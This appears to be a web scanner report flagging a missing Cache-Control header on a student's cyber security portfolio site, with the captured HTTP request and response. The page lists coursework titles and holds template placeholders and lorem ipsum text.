<div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Parameter Cache-ControlSolution Whenever possible ensure the cache-control HTTP header is set with no-cache, no-store, must-revalidate.
GET https://beekmans.dev/
Alert tags Alert description The cache-control header has not been set properly or is missing, allowing the browser and proxies to cache content.
Request Request line and header section (224 bytes)
GET https://beekmans.dev/ HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1039 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O9CfHQgObVNEaGCeR54qKKwytECMmlM5H0bXWDqJpVGo4vNUT18M2ld9NoeIDxTsPe1bzHv%2F9eh3xB7p6KNQNXYdikH5v2vQoVZ4Lqr2%2BgmRM8bXQ1W95L9VnzmijHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a326098f0c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178339 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#09796064496b6c6c626468677a276d6c7f"><span class="__cf_email__" data-cfemail="e191888ca18384848a8c808f92cf858497">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> 